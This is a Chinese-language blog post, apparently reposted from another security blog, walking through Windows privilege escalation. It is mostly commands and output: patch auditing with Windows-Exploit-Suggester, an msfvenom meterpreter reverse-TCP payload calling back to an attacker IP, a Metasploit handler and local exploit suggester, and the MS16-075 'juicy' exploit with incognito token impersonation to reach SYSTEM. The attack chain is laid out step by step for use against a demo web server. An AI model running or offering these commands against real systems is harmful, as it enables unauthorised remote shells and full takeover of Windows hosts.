本文共 2996 字，大约阅读时间需要 9 分钟。

转自月大佬的博客网站。。moonsec.com1、 windows 补丁审计工具使用

在终端下可以使用命令systeminfo 来查看系统的一些补丁信息

http://www.demo1.com/asp.aspx

补丁检测Windows-Exploit-Suggester https://github.com/GDSSecurity/Windows-Exploit-Suggester 下载工具 git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.git 用法 首先安装pip install xlrd –upgrade 库 pip install xlrd –upgrade 更新漏洞补丁库 ./windows-exploit-suggester.py –update 表里面的内容

目标 导出 系统信息

systeminfo >C:\inetpub\wwwroot\www.demo1.com\systeminfo.txt 查找可以利用的补丁 ./windows-exploit-suggester.py –database 2019-05-02-mssb.xls –systeminfo systeminfo.txt >exp.txt

里面有详细的说明可以漏洞利用的exp

查找指定系统的可以用的漏洞

./windows-exploit-suggester.py –database 2019-05-02-mssb.xls –ostext ‘windows server 2008 r2’

显示可利用的本地提权的条目

./windows-exploit-suggester.py –audit -l –database 2019-05-02-mssb.xls –systeminfo systeminfo.txt >win2008-day.txt

如果补丁没有打上的情况下，就会显示可以利用的ms编号 exp的地址和描述

提权exp windows-kernel-exploits https://github.com/SecWiki/windows-kernel-exploits

2、msf结合windows-exploit-suggester使用

生成攻击载核 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.134 lport=12345 -f exe >/var/www/html/s.exe 监听 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.0.134 set lport 12345 exploit

得到一个低权限的shell

background 返回 模块选择的命令 把session 放到后台 使用suggester模块 use post/multi/recon/local_exploit_suggester show options set seesion 1 exploit

这里就是列出没有修补的漏洞

[] 192.168.0.105 – Collecting local exploits for x86/windows… [] 192.168.0.105 – 29 exploit checks are being tried… [+] 192.168.0.105 – exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable. [+] 192.168.0.105 – exploit/windows/local/ikeext_service: The target appears to be vulnerable. [+] 192.168.0.105 – exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable. [+] 192.168.0.105 – exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable. [+] 192.168.0.105 – exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable. [+] 192.168.0.105 – exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 192.168.0.105 – exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 192.168.0.105 – exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated. [+] 192.168.0.105 – exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable. [+] 192.168.0.105 – exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable. [+] 192.168.0.105 – exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.

使用模块windows/local/ms16_075_reflection_juicy 进行

use windows/local/ms16_075_reflection_juicy show options 查看参数 set session 1 exploit

得到系统权限。

4、使用MS16-075 提权

选择第一个session sessions 1 use incognito list_tokens -u //列出tokens execute -cH -f C:/inetpub/wwwroot/www.demo1.com/potato.exe //执行exp list_tokens -u impersonate_token “NT AUTHORITY\SYSTEM” //提权

这个要多试用多次 方可成功

转载地址：http://gerzi.baihongyu.com/